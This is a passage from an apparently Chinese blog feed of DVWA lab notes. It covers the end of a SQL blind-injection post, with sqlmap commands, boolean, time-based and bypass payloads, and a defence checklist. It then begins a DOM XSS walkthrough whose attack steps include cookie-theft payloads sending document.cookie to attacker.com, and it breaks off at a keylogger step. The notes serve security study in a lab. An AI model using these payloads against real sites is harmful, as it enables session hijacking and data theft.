class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 测试自己的应用</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://your-site.com/page?id=1&quot;</span> \</span><br><span class="line">       --batch \</span><br><span class="line">       --level=5 \</span><br><span class="line">       --risk=3</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果SQLMap无法注入，说明防护有效</span></span><br></pre></td></tr></table></figure><h4 id="代码审计工具"><a href="#代码审计工具" class="headerlink" title="代码审计工具"></a>代码审计工具</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用PHPStan检查SQL注入</span></span><br><span class="line">phpstan analyze src/ --level=8</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用SonarQube</span></span><br><span class="line">sonar-scanner \</span><br><span class="line">    -Dsonar.projectKey=myproject \</span><br><span class="line">    -Dsonar.sources=src</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>查询方式</td><td>字符串拼接</td><td>mysqli_escape</td><td>mysqli_escape</td><td>PDO预编译</td></tr><tr><td>参数传递</td><td>GET</td><td>POST</td><td>Cookie</td><td>GET</td></tr><tr><td>输入验证</td><td>❌</td><td>❌</td><td>❌</td><td>✅ is_numeric</td></tr><tr><td>错误信息</td><td>✅ 显示</td><td>❌ 隐藏</td><td>❌ 隐藏</td><td>❌ 隐藏</td></tr><tr><td>限流</td><td>❌</td><td>❌</td><td>✅ 弱限流</td><td>✅ CSRF</td></tr><tr><td>LIMIT</td><td>❌</td><td>❌</td><td>✅ LIMIT 1</td><td>✅ LIMIT 1</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr><tr><td>布尔盲注</td><td>✅ 可行</td><td>✅ 可行</td><td>✅ 可行</td><td>❌ 不可行</td></tr><tr><td>时间盲注</td><td>✅ 可行</td><td>✅ 可行</td><td>✅ 可行</td><td>❌ 不可行</td></tr></tbody></table><hr><h2 id="常用Payload集合"><a href="#常用Payload集合" class="headerlink" title="常用Payload集合"></a>常用Payload集合</h2><h3 id="布尔盲注"><a href="#布尔盲注" class="headerlink" title="布尔盲注"></a>布尔盲注</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 基础测试</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND 1=1 --        → True</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="number">1</span><span class="operator">=</span><span class="number">2</span> <span class="comment">--        → False</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 数据库信息</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND LENGTH(database())&gt;5 --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="built_in">SUBSTRING</span>(database(),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;d&#x27;</span> <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND ASCII(SUBSTRING(database(),1,1))&gt;100 --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 表名枚举</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> (<span class="keyword">SELECT</span> <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema<span class="operator">=</span>database())<span class="operator">&gt;</span><span class="number">5</span> <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)=&#x27;</span>u<span class="string">&#x27; --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 数据提取</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="built_in">SUBSTRING</span>((<span class="keyword">SELECT</span> password <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> <span class="keyword">user</span><span class="operator">=</span><span class="string">&#x27;admin&#x27;</span>),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;5&#x27;</span> <span class="comment">--</span></span><br></pre></td></tr></table></figure><h3 id="时间盲注"><a href="#时间盲注" class="headerlink" title="时间盲注"></a>时间盲注</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- MySQL</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SLEEP(5) --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> IF(<span class="number">1</span><span class="operator">=</span><span class="number">1</span>, SLEEP(<span class="number">5</span>), <span class="number">0</span>) <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND IF((SELECT SUBSTRING(database(),1,1))=&#x27;</span>d<span class="string">&#x27;, SLEEP(5), 0) --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 基于BENCHMARK</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> BENCHMARK(<span class="number">5000000</span>, MD5(<span class="string">&#x27;test&#x27;</span>)) <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- PostgreSQL</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND pg_sleep(5) --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- SQL Server</span></span><br><span class="line"><span class="string">1&#x27;</span>; WAITFOR DELAY <span class="string">&#x27;00:00:05&#x27;</span> <span class="comment">--</span></span><br></pre></td></tr></table></figure><h3 id="绕过技巧"><a href="#绕过技巧" class="headerlink" title="绕过技巧"></a>绕过技巧</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 大小写混淆</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AnD 1=1 --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">aNd</span> <span class="number">1</span><span class="operator">=</span><span class="number">1</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 内联注释</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND/**/1=1 --</span></span><br><span class="line"><span class="string">1&#x27;</span><span class="comment">/*comment*/</span><span class="keyword">AND</span><span class="comment">/*comment*/</span><span class="number">1</span><span class="operator">=</span><span class="number">1</span><span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 编码绕过</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND 0x31=0x31 --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="type">CHAR</span>(<span class="number">49</span>)<span class="operator">=</span><span class="type">CHAR</span>(<span class="number">49</span>) <span class="comment">--</span></span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>盲注攻击步骤：</strong></p><ol><li>确认注入点（测试True&#x2F;False）</li><li>确定数据库类型和版本</li><li>枚举数据库名和表名</li><li>枚举列名</li><li>逐字符提取数据</li><li>破解密码哈希</li></ol><p><strong>自动化工具：</strong></p><ul><li><strong>SQLMap</strong> - 全自动SQL注入工具</li><li><strong>NoSQLMap</strong> - NoSQL盲注工具</li><li><strong>Burp Suite</strong> - 手动测试和自动化</li></ul><p><strong>防御检查：</strong></p><ul><li>✅ 所有查询使用预编译</li><li>✅ 输入验证（白名单）</li><li>✅ 最小权限</li><li>✅ 限流机制</li><li>✅ 错误不泄露信息</li><li>✅ 定期安全审计</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不窃取真实数据</li><li>学习是为了构建安全系统</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - XSS (DOM) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/XSS_DOM_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/XSS_DOM_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.128Z</published>
    <updated>2025-11-20T15:26:22.941Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是DOM型XSS（DOM-based-Cross-Site-Scripting）？"><a href="#什么是DOM型XSS（DOM-based-Cross-Site-Scripting）？" class="headerlink" title="什么是DOM型XSS（DOM-based Cross-Site Scripting）？"></a>什么是DOM型XSS（DOM-based Cross-Site Scripting）？</h3><p>DOM型XSS是一种特殊的XSS攻击，攻击代码的执行完全发生在客户端（浏览器），不经过服务器处理。漏洞存在于页面的JavaScript代码中，通过不安全的DOM操作导致恶意脚本执行。</p><p><strong>与其他XSS的区别：</strong></p><table><thead><tr><th>特性</th><th>反射型XSS</th><th>存储型XSS</th><th>DOM型XSS</th></tr></thead><tbody><tr><td>数据流向</td><td>客户端→服务器→客户端</td><td>客户端→服务器→数据库→客户端</td><td>客户端→客户端</td></tr><tr><td>服务器参与</td><td>✓</td><td>✓</td><td>✗</td></tr><tr><td>持久化</td><td>✗</td><td>✓</td><td>✗</td></tr><tr><td>检测难度</td><td>中</td><td>中</td><td>高</td></tr></tbody></table><p><strong>DOM型XSS的特点：</strong></p><ul><li>攻击载荷在URL的Fragment（#后面）中</li><li>不会发送到服务器</li><li>JavaScript直接读取并处理</li><li>服务器日志无法记录</li><li>WAF难以检测</li></ul><p><strong>攻击流程：</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span> 用户访问：http://example.com/#<span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span>alert(1)<span class="language-xml"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line"><span class="bullet">2.</span> 浏览器加载页面</span><br><span class="line"><span class="bullet">3.</span> JavaScript读取location.hash</span><br><span class="line"><span class="bullet">4.</span> 不安全的DOM操作（如innerHTML）</span><br><span class="line"><span class="bullet">5.</span> 恶意脚本执行</span><br></pre></td></tr></table></figure><p><strong>危害：</strong></p><ul><li>窃取Cookie和Session</li><li>键盘记录</li><li>页面劫持</li><li>钓鱼攻击</li><li>蠕虫传播</li></ul><p><strong>常见的危险Sources（输入源）：</strong></p><ul><li><code>location.hash</code></li><li><code>location.search</code></li><li><code>location.href</code></li><li><code>document.URL</code></li><li><code>document.referrer</code></li><li><code>window.name</code></li></ul><p><strong>常见的危险Sinks（输出点）：</strong></p><ul><li><code>innerHTML</code></li><li><code>outerHTML</code></li><li><code>document.write()</code></li><li><code>document.writeln()</code></li><li><code>eval()</code></li><li><code>setTimeout()</code> / <code>setInterval()</code></li><li><code>element.setAttribute()</code></li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>直接使用<code>document.write()</code>输出用户输入，完全不过滤。</p><h3 id="前端代码分析"><a href="#前端代码分析" class="headerlink" title="前端代码分析"></a>前端代码分析</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>XSS (DOM)<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 选择语言的下拉菜单 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">name</span>=<span class="string">&quot;XSS&quot;</span> <span class="attr">method</span>=<span class="string">&quot;GET&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">select</span> <span class="attr">name</span>=<span class="string">&quot;default&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">option</span> <span class="attr">value</span>=<span class="string">&quot;English&quot;</span>&gt;</span>English<span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">option</span> <span class="attr">value</span>=<span class="string">&quot;French&quot;</span>&gt;</span>French<span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">option</span> <span class="attr">value</span>=<span class="string">&quot;Spanish&quot;</span>&gt;</span>Spanish<span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">option</span> <span class="attr">value</span>=<span class="string">&quot;German&quot;</span>&gt;</span>German<span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Select&quot;</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ 核心漏洞：不安全的DOM操作 ★★★</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 检查URL中是否有default参数</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// document.location.href - 获取完整URL</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// indexOf() - 查找字符串位置</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 例如：http://example.com/?default=English</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">if</span> (<span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) &gt;= <span class="number">0</span>) &#123;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 危险操作1：从URL中提取参数 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// document.location.href.substring() - 提取子字符串</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// indexOf(&quot;default=&quot;) + 8 - 从&quot;default=&quot;后开始</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 结果：提取default参数的值</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">//</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 问题：没有任何验证或编码！</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 攻击者可以在URL中注入任意内容</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> langDefault = <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">substring</span>(</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) + <span class="number">8</span></span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 危险操作2：使用document.write()直接输出 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// document.write() - 向文档写入内容</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 作用：在页面中动态插入HTML</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">//</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 问题：</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 1. 不对langDefault进行任何编码</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 2. 如果langDefault包含HTML标签，会被浏览器解析执行</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 3. 如果包含&lt;script&gt;，脚本会立即执行</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">//</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 例如：</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// URL: ?default=&lt;script&gt;alert(1)</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    // 输出：<span class="tag">&lt;<span class="name">option</span>&gt;</span>Welcome to <span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span><span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">    // 结果：alert(1)执行</span><br><span class="line">    document.write(&quot;<span class="tag">&lt;<span class="name">option</span>&gt;</span>Welcome to &quot; + langDefault + &quot;<span class="tag">&lt;/<span class="name">option</span>&gt;</span>&quot;);</span><br><span class="line"></span><br><span class="line">    // ★★★ 另一个危险操作：选中对应的选项 ★★★</span><br><span class="line">    // document.forms[0].default.value - 访问表单的default字段</span><br><span class="line">    // 这里也没有验证langDefault，可能导致额外问题</span><br><span class="line">    document.forms[0].default.value = langDefault;</span><br><span class="line">&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>数据流向：</strong></p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="title">URL</span><span class="params">(?default=...)</span></span></span><br><span class="line">    ↓</span><br><span class="line">document<span class="selector-class">.location</span><span class="selector-class">.href</span> (JavaScript读取)</span><br><span class="line">    ↓</span><br><span class="line"><span class="function"><span class="title">substring</span><span class="params">()</span></span>提取参数值</span><br><span class="line">    ↓</span><br><span class="line">document<span class="selector-class">.write</span>()直接输出 ← 危险！</span><br><span class="line">    ↓</span><br><span class="line">浏览器解析并执行</span><br></pre></td></tr></table></figure><p><strong>核心问题：</strong></p><ol><li><strong>直接读取URL参数</strong> - 不经过服务器验证</li><li><strong>无任何编码</strong> - 特殊字符不转义</li><li><strong>使用document.write()</strong> - 直接写入HTML</li><li><strong>Source→Sink直接连接</strong> - 输入源直达输出点</li></ol><p><strong>为什么服务器日志看不到？</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">攻击URL: http:<span class="regexp">//</span>dvwa.local<span class="regexp">/?default=&lt;script&gt;alert(1)&lt;/</span>script&gt;<span class="comment">#fragment</span></span><br><span class="line"></span><br><span class="line">发送到服务器: http:<span class="regexp">//</span>dvwa.local<span class="regexp">/?default=&lt;script&gt;alert(1)&lt;/</span>script&gt;</span><br><span class="line">Fragment部分(<span class="comment">#): 不发送到服务器</span></span><br><span class="line"></span><br><span class="line">或者使用Fragment攻击:</span><br><span class="line">http:<span class="regexp">//</span>dvwa.local<span class="regexp">/#default=&lt;script&gt;alert(1)&lt;/</span>script&gt;</span><br><span class="line">发送到服务器: http:<span class="regexp">//</span>dvwa.local/ (只有域名)</span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：基础测试"><a href="#步骤1：基础测试" class="headerlink" title="步骤1：基础测试"></a>步骤1：基础测试</h4><p><strong>测试1：正常功能</strong></p><figure class="highlight vbnet"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">URL:</span> ?<span class="keyword">default</span>=English</span><br><span class="line">结果: &lt;<span class="keyword">option</span>&gt;Welcome <span class="keyword">to</span> English&lt;/<span class="keyword">option</span>&gt;</span><br></pre></td></tr></table></figure><p><strong>测试2：简单XSS</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">URL</span>: ?<span class="keyword">default</span>=<span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line">结果: 弹出<span class="variable constant_">XSS</span>对话框</span><br></pre></td></tr></table></figure><h4 id="步骤2：窃取Cookie"><a href="#步骤2：窃取Cookie" class="headerlink" title="步骤2：窃取Cookie"></a>步骤2：窃取Cookie</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- URL编码前 --&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">location</span>=<span class="string">&#x27;http://attacker.com/steal.php?c=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- URL编码后 --&gt;</span></span><br><span class="line">?default=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E</span><br></pre></td></tr></table></figure><h4 id="步骤3：使用图片标签"><a href="#步骤3：使用图片标签" class="headerlink" title="步骤3：使用图片标签"></a>步骤3：使用图片标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 更隐蔽的方式 --&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 窃取Cookie --&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;this.src=&#x27;http://attacker.com/?c=&#x27;+document.cookie&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤4：无标签攻击"><a href="#步骤4：无标签攻击" class="headerlink" title="步骤4：无标签攻击"></a>步骤4：无<script>标签攻击</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 使用事件处理器 --&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">javascript:alert(1)</span>&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(1)</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤5：使用Fragment（-）"><a href="#步骤5：使用Fragment（-）" class="headerlink" title="步骤5：使用Fragment（#）"></a>步骤5：使用Fragment（#）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- Fragment不会发送到服务器，WAF无法检测 --&gt;</span></span><br><span class="line">http://dvwa.local/#default=<span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 需要修改JavaScript读取逻辑 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 如果代码读取location.hash而不是search --&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤6：键盘记录器"><a href="#步骤6：键盘记录器" class="headerlink" title="步骤6：键盘记录器"></a>步骤6：键盘记录器</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">?default=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="variable 